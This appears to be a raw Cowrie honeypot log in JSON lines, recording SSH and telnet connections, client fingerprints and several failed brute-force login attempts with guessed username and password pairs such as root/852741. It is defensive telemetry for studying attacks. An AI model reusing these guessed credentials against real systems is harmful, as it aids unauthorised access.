{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46002,"dst_ip":"159.203.135.109","dst_port":23,"session":"910454ee0f9a","protocol":"telnet","message":"New connection: 135.148.14.151:46002 (159.203.135.109:23) [session: 910454ee0f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:38.096768Z"}
{"eventid":"cowrie.login.failed","username":"tt","password":"tt","message":"login attempt [tt/tt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:39.103875Z","src_ip":"197.221.232.44","session":"b6e52fac7771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:40.356316Z","src_ip":"197.221.232.44","session":"b6e52fac7771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37354,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e9c5815373d","protocol":"ssh","message":"New connection: 103.172.78.219:37354 (159.203.135.109:22) [session: 0e9c5815373d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:41.082163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:41.087916Z","src_ip":"103.172.78.219","session":"0e9c5815373d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:41.360571Z","src_ip":"103.172.78.219","session":"0e9c5815373d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"insane","message":"login attempt [root/insane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:42.153179Z","src_ip":"103.172.78.219","session":"0e9c5815373d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48080,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb5f38714ec3","protocol":"telnet","message":"New connection: 135.148.14.151:48080 (159.203.135.109:23) [session: fb5f38714ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:42.278407Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:43.419239Z","src_ip":"103.172.78.219","session":"0e9c5815373d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.77780485153198,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:46.483783Z","src_ip":"135.148.14.151","session":"c666d8af0064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.581809282302856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:55.506419Z","src_ip":"135.148.14.151","session":"d0f3725a02ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34301209449768,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:56.507909Z","src_ip":"135.148.14.151","session":"633ae5596a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84312033653259,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:02.103443Z","src_ip":"135.148.14.151","session":"4d78b892564b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.237712383270264,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:09.319193Z","src_ip":"135.148.14.151","session":"60c6f81ff431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31217980384827,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:12.408751Z","src_ip":"135.148.14.151","session":"910454ee0f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":33372,"dst_ip":"10.17.0.5","dst_port":22,"session":"c423734a3b6f","protocol":"ssh","message":"New connection: 201.186.40.161:33372 (10.17.0.5:22) [session: c423734a3b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.104941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.116562Z","src_ip":"201.186.40.161","session":"c423734a3b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.267693Z","src_ip":"201.186.40.161","session":"c423734a3b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.461246967315674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.407855Z","src_ip":"135.148.14.151","session":"3cf1db4c75d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34224,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a04c5d6811","protocol":"ssh","message":"New connection: 103.82.132.16:34224 (10.17.0.5:22) [session: 43a04c5d6811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.446497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.452597Z","src_ip":"103.82.132.16","session":"43a04c5d6811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.710609Z","src_ip":"103.82.132.16","session":"43a04c5d6811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345","message":"login attempt [postgres/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:13.901659Z","src_ip":"201.186.40.161","session":"c423734a3b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"852741","message":"login attempt [root/852741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:14.484507Z","src_ip":"103.82.132.16","session":"43a04c5d6811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:15.054509Z","src_ip":"201.186.40.161","session":"c423734a3b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:15.744437Z","src_ip":"103.82.132.16","session":"43a04c5d6811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.491349935531616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:16.769635Z","src_ip":"135.148.14.151","session":"fb5f38714ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50926,"dst_ip":"159.203.135.109","dst_port":23,"session":"42c79afa821d","protocol":"telnet","message":"New connection: 135.148.14.151:50926 (159.203.135.109:23) [session: 42c79afa821d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:19.021970Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41398,"dst_ip":"159.203.135.109","dst_port":23,"session":"df4c6c68aeea","protocol":"telnet","message":"New connection: 135.148.14.151:41398 (159.203.135.109:23) [session: df4c6c68aeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:28.563972Z"}
{"eventid":"cowrie.session.closed","duration":35.596033811569214,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:54.617886Z","src_ip":"135.148.14.151","session":"42c79afa821d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40958,"dst_ip":"159.203.135.109","dst_port":23,"session":"46cf57aff23b","protocol":"telnet","message":"New connection: 135.148.14.151:40958 (159.203.135.109:23) [session: 46cf57aff23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:58.949783Z"}
{"eventid":"cowrie.session.closed","duration":0.005270242691040039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:32:58.954906Z","src_ip":"135.148.14.151","session":"46cf57aff23b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":56175,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a520a3cfa0","protocol":"telnet","message":"New connection: 201.205.247.46:56175 (159.203.135.109:23) [session: e5a520a3cfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:01.153833Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":56176,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd9110569d9","protocol":"telnet","message":"New connection: 201.205.247.46:56176 (159.203.135.109:23) [session: 9fd9110569d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:01.158520Z"}
{"eventid":"cowrie.session.closed","duration":39.65857172012329,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:08.222419Z","src_ip":"135.148.14.151","session":"df4c6c68aeea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":44160,"dst_ip":"159.203.135.109","dst_port":22,"session":"592df220f7d8","protocol":"ssh","message":"New connection: 89.108.118.91:44160 (159.203.135.109:22) [session: 592df220f7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:16.802553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:16.808001Z","src_ip":"89.108.118.91","session":"592df220f7d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:16.935461Z","src_ip":"89.108.118.91","session":"592df220f7d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654321z","message":"login attempt [root/654321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:17.411450Z","src_ip":"89.108.118.91","session":"592df220f7d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:18.538498Z","src_ip":"89.108.118.91","session":"592df220f7d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":57874,"dst_ip":"10.17.0.5","dst_port":22,"session":"611be2e05c04","protocol":"ssh","message":"New connection: 150.109.247.111:57874 (10.17.0.5:22) [session: 611be2e05c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:22.608779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:22.614158Z","src_ip":"150.109.247.111","session":"611be2e05c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38206,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a74657e97f3","protocol":"telnet","message":"New connection: 135.148.14.151:38206 (159.203.135.109:23) [session: 3a74657e97f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:22.692365Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:22.810494Z","src_ip":"150.109.247.111","session":"611be2e05c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz2wsx3edc","message":"login attempt [root/!Qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:23.625309Z","src_ip":"150.109.247.111","session":"611be2e05c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:24.825211Z","src_ip":"150.109.247.111","session":"611be2e05c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38684,"dst_ip":"159.203.135.109","dst_port":23,"session":"5161bdd76765","protocol":"telnet","message":"New connection: 135.148.14.151:38684 (159.203.135.109:23) [session: 5161bdd76765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:30.718048Z"}
{"eventid":"cowrie.session.closed","duration":34.117496490478516,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:35.271237Z","src_ip":"201.205.247.46","session":"e5a520a3cfa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12182831764221,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:35.280251Z","src_ip":"201.205.247.46","session":"9fd9110569d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44826,"dst_ip":"159.203.135.109","dst_port":23,"session":"2884a9beff35","protocol":"telnet","message":"New connection: 135.148.14.151:44826 (159.203.135.109:23) [session: 2884a9beff35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:39.627302Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48490,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ce668529f5","protocol":"telnet","message":"New connection: 135.148.14.151:48490 (159.203.135.109:23) [session: 83ce668529f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:45.817863Z"}
{"eventid":"cowrie.session.closed","duration":35.56265354156494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:58.254501Z","src_ip":"135.148.14.151","session":"3a74657e97f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51144,"dst_ip":"159.203.135.109","dst_port":23,"session":"99fe42671191","protocol":"telnet","message":"New connection: 135.148.14.151:51144 (159.203.135.109:23) [session: 99fe42671191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:59.116497Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53396,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd250f5bae04","protocol":"telnet","message":"New connection: 135.148.14.151:53396 (159.203.135.109:23) [session: bd250f5bae04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:59.622712Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54836,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf6da50427d","protocol":"telnet","message":"New connection: 135.148.14.151:54836 (159.203.135.109:23) [session: cdf6da50427d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:33:59.979615Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":35334,"dst_ip":"10.17.0.5","dst_port":22,"session":"95339908c84d","protocol":"ssh","message":"New connection: 201.186.40.161:35334 (10.17.0.5:22) [session: 95339908c84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:00.360489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:00.368460Z","src_ip":"201.186.40.161","session":"95339908c84d","protocol":"ssh"}
